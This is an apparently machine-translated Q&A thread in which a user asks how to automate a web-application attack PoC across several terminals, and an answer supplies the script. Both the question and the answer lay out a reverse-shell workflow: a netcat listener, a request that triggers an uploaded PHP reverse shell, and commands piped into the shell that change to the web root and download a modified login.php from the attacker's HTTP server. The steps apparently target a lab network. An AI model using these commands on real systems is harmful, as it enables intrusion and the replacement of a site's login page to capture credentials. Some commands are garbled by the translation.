Linux 如何自动化bash脚本

Linux 如何自动化bash脚本,linux,bash,cmd,terminal,Linux,Bash,Cmd,Terminal,大家好 我正试图编写一个脚本,让我展示一个PoC来破解一个web应用程序,目前它需要我打开几个不同的进程和终端,在一个特定的终端上执行命令,然后切换回其他终端 我想做以下工作: 终端0: 启动http服务器>python-msimplehttpserver 8081 启动终端1: 启动shell侦听器>nc-v-n-l-p8082 启动终端2: 启动反向shell>wget“172.16.0.XXX/upload/16/rs/rs.php” 端子1(nc内部): 浏览目录>cdvar/www/

大家好

我正试图编写一个脚本,让我展示一个PoC来破解一个web应用程序,目前它需要我打开几个不同的进程和终端,在一个特定的终端上执行命令,然后切换回其他终端

我想做以下工作:
  • 终端0:
  • 启动http服务器
    >python-msimplehttpserver 8081
  • 启动终端1:
  • 启动shell侦听器
    >nc-v-n-l-p8082
  • 启动终端2:
  • 启动反向shell
    >wget“172.16.0.XXX/upload/16/rs/rs.php”
  • 端子1(nc内部):
  • 浏览目录
    >cdvar/www/users/
  • 下载修改后的页面
    >wget“10.13.37.128:8081/login.php”
  • 星型3号航站楼:
  • 打开firefox并浏览到172.16.0.180/users/login.php
&python-msimplehttpserver 8081

&端子-e nc-v-n-l-p 8082

wget“172.16.0.180/upload/16/rs/php reverse shell.php”

cd var/www/users#问题是,如何切换回nc终端

gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'
wget“10.13.37.128:8081/login.php”


让我困惑的是,在我需要的时候在特定的终端之间切换。仅仅为此编写一个宏是否有意义,或者是否可以这样做?任何帮助都将不胜感激

启动各种终端的脚本怎么样

gnome-terminal -e 'python -m SimpleHTTPServer 8081'
gnome-terminal -e 'nc -v -n -l -p 8082'
gnome-terminal -e 'wget "172.16.0.XXX/upload/16/rs/rs.php"'
gnome-terminal -e 'wget "10.13.37.128:8081/login.php"'
gnome-terminal -e 'firefox "http://172.16.0.180/users/login.php"'
对于“nc问题”,我建议一个简单的技巧:

(sleep 3 ; echo cd var/www/users/ ; echo wget "10.13.37.128:8081/login.php") | nc -v -n -l -p 8082

这使用Xterm为不同的命令打开多个终端模拟器。

请尝试添加一些代码来改进您的问题。请看:@mcNets谢谢,对不起,我是新来的Stack Overflow,如果您有任何意见,我们将不胜感激。请至少阅读注册本网站时显示的内容,问题是,在运行
wget
请求
rs.php
之后,我想回到启动侦听器“nc-v-n-l-p8082”的终端,谢谢,但问题是,在运行wget之后,我想回到启动侦听器“nc-v-n-l-p8082”的终端请求rs.php